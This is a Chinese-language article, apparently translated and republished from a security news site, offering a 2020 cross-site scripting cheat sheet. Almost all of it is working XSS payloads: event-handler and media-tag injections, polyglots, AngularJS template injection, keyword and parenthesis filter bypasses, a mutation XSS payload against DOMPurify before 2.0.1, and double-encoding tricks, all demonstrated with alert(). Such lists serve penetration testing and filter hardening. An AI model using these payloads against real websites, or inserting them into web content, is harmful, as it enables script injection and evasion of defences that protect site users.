2020年仍然有效的一些XSS Payload
摘要:height:1000px" onmouseover=alert()>
其實,現在網絡上很多的XSS Cheat Sheet都已經過期了。很多的XSS Cheat Sheet都是直接從其他地方粗製粘貼過來的,而且有的測試用例早在十年前就已經沒用了,但是也沒人去整理和清理。除此之蛙,在大多數情況下我們所遇到的情況都是這些XSS Cheat Sheet測試用例無法解決的,有可能是因爲Web應用防火牆,也有可能是因爲XSS過濾器。當然了,如果只是一個簡單的XSS漏洞,那你需要的僅僅只是一個有效的XSS攻擊向量,而不是一堆“沒用”的東西。
因此,在這篇文章中我想給大家提供一個“與衆不同”的Cheat Sheet,在這份Cheat Sheet中我將給大家提供一份XSS技術和測試用例清單,並給出一些演示樣例。希望在各位遇到難解決的WAF或XSS過濾器時,這份Cheat Sheet能夠給大家提供一些幫助或靈感。雖然這份Cheat Sheet不能說100%完整,但是我相信這裏提供的技術是2020年絕大部分研究人員仍在使用的技術。
標籤-屬性分隔符
有些過濾器會“天真地認爲”只有某些特定字符可以分隔標籤及其屬性,下面給出的是在Firefox和Chrome中能夠使用的有效分隔符的完整列表:
十進制值 | URL編碼 | 介紹 |
---|---|---|
47 | %2F | 正斜槓 |
13 | %0D | 回車 |
12 | %0C | 分頁符 |
10 | %0A | 換行 |
9 | %09 | 水平製表符 |
使用方式
一般來說,你的Payload構造如下:
<svg onload=alert(1)>
你可以嘗試使用上述字符來替換‘svg’和‘onload’中間的空格,這樣就可以保證HTML仍然有效並且Payload能夠正確執行(DEMO: 有效的HTML ):
<svg/onload=alert(1)><svg> <svg onload=alert(1)><svg> # newline char <svg onload=alert(1)><svg> # tab char <svg onload=alert(1)><svg> # new page char (0xc)
基於JavaScript事件的XSS
詳細參考資料: 更多的HTML事件
標準HTML事件
0點擊事件:
事件名稱 | 標籤 | 備註 |
---|---|---|
onload | body, iframe, img, frameset, input, script, style, link, svg | 適用於0-click,但通常會被過濾掉 |
onpageshow | body | 適用於 0-click,但只能用在非DOM注入中 |
onfocus | 大多數標籤 | 適用於 0-click:配合autofocus=””使用 |
onmouseover | 大多數標籤 | 如果可能的話,添加參數值來讓其儘可能的大。 |
onerror | img, input, object, link, script, video, audio | 確保傳遞參數來終止運行 |
onanimationstart | 與任何可以設置動畫的元素組合 | 啓動,然後開始CSS動畫 |
onanimationend | 與任何可以設置動畫的元素組合 | 啓動,然後結束CSS動畫 |
onstart | marquee | 在字幕動畫啓動時啓動-僅限Firefox |
onfinish | marquee | 在字幕動畫啓動時啓動-僅限Firefox |
ontoggle | details | 必須提供’opne’參數以支持0-click |
使用樣例:
<body onload=alert()> <img src=x onerror=alert()> <svg onload=alert()> <body onpageshow=alert(1)> <div style="width:1000px;height:1000px" onmouseover=alert()></div> <marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only) <marquee onstart=alert(1)> (firefox only) <marquee loop=1 width=0 onfinish=alert(1)> (firefox only) <input autofocus="" onfocus=alert(1)></input> <details open ontoggle="alert()"> (chrome & opera only)
HTML5事件
0點擊事件:
事件名稱 | 標籤 | 備註 |
---|---|---|
onplay | video, audio | 適用於0-click:結合HTML的autoplay屬性以及結合有效的視頻/音頻 |
onplaying | video, audio | 適用於0-click: 結合HTML的autoplay屬性以及結合有效的視頻/音頻 |
oncanplay | video, audio | 必須鏈接有效的視頻/音頻 |
onloadeddata | video, audio | 必須鏈接有效的視頻/音頻 |
onloadedmetadata | video, audio | 必須鏈接有效的視頻/音頻 |
onprogress | video, audio | 必須鏈接有效的視頻/音頻 |
onloadstart | video, audio | 潛在的0-click向量 |
oncanplay | video, audio | 必須鏈接有效的視頻/音頻 |
使用樣例:
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<video controls onloadeddata="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<video controls onloadedmetadata="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<video controls onloadstart="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<audio autoplay controls onplay="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></audio>
<audio autoplay controls onplaying="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></audio>
基於CSS的事件
不幸的是,基於CSS來實現XSS現在已經越來越難了,我嘗試過的所有向量目前都只能在非常舊的瀏覽器上工作。因此,下面介紹的是基於CSS來觸發XSS的情況。
下面的例子使用的是style標籤來爲動畫的開始和結束設置關鍵幀:
<style>@keyframes x {}</style> <p style="animation: x;" onanimationstart="alert()">XSS</p> <p style="animation: x;" onanimationend="alert()">XSS</p>
古怪的XSS向量
下面給出的是一些比較“奇葩”的XSS測試向量,這些測試向量很少見:
<svg><animate onbegin=alert() attributeName=x></svg> <object data="data:text/html,<script>alert(5)</script>"> <iframe srcdoc="<svg onload=alert(4);>"> <object data=javascript:alert(3)> <iframe src=javascript:alert(2)> <embed src=javascript:alert(1)> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed> <embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczL**yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
XSS多覆蓋樣例
下面我給出了幾份XSS的多段代碼,因爲有的時候我們只需要輸入特定的字符,或者只需要一個基於DOM或基於非DOM的注入場景。
字符 | 使用 | 多段代碼 |
---|---|---|
141 | DOM和非DOM | javascript:”/*’/*`/*–></noscript></title></textarea></style></template></noembed></script><html \” onmouseover=/*<svg/*/onload=alert()//> |
88 | 非DOM | “‘–></noscript></noembed></template></title></textarea></style><script>alert()</script> |
95 | DOM | ‘”–></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> |
54 | 非DOM | “‘>–>*/</noscript></ti tle><script>alert()</script> |
42 | DOM | “‘–></style></script><svg onload=alert()> |
框架
爲了攻擊JS框架,我們還需要對相關的模板語言進行研究和分析。
AngularJS
{{constructor.constructor('alert(1)')()}}
這個Payload適用於大多數場景,但如果你還需要更多的Payload,可以點擊【 這裏 】獲取。
Mavo
[self.alert(1)]
XSS過濾器繞過
圓括號過濾
利用HTML解析器和JS語句:
<svg onload=alert`1`></svg> <svg onload=alert(1)></svg> <svg onload=alert(1)></svg> <svg onload=alert(1)></svg>
限制字符集
下面這三個站點可以將有效的JS代碼轉換爲所謂的“亂碼”來繞過絕大多數的過濾器:
1、 JSFuck
3、 jjencode
關鍵詞過濾
避免使用的關鍵詞:
(alert)(1) (1,2,3,4,5,6,7,8,alert)(1) a=alert,a(1) [1].find(alert) top["al”+”ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) // Generated using parseInt(“alert”,30). Other bases also work
mXSS和DOM攻擊
對於XSS過濾器來說,它們基本上不可能正確地預測瀏覽器如何跟HTML以及交互庫進行數據處理的方式。因此,有的時候我們就可以將XSS Payload作爲無效的HTML插入到目標頁面中,然後瀏覽器將有可能把它作爲有效Payload執行,這樣就可以繞過過濾器了。
下面給出的是一個能夠繞過最常見過濾器( DOMPurify <2.0.1 )的mXSS Payload:
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>"> <svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>
雙重編碼
有的時候,應用程序會在字符串再次解碼之前,對其執行XSS過濾,這樣就會給我們留下實現繞過的可乘之機。
字符 | 雙重編碼 |
---|---|
< | %253C |
> | %253E |
( | %2528 |
) | %2529 |
” | %2522 |
’ | %2527 |
參考資料
1、 https://www.vulnerability-lab.com/resources/documents/531.txt
2、 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
3、 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
4、 https://cure53.de/fp170.pdf
5、 https://www.*******.com/watch?v=5W-zGBKvLxk
6、 https://xss.pwnfunction.com/
* 參考來源: netsec ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM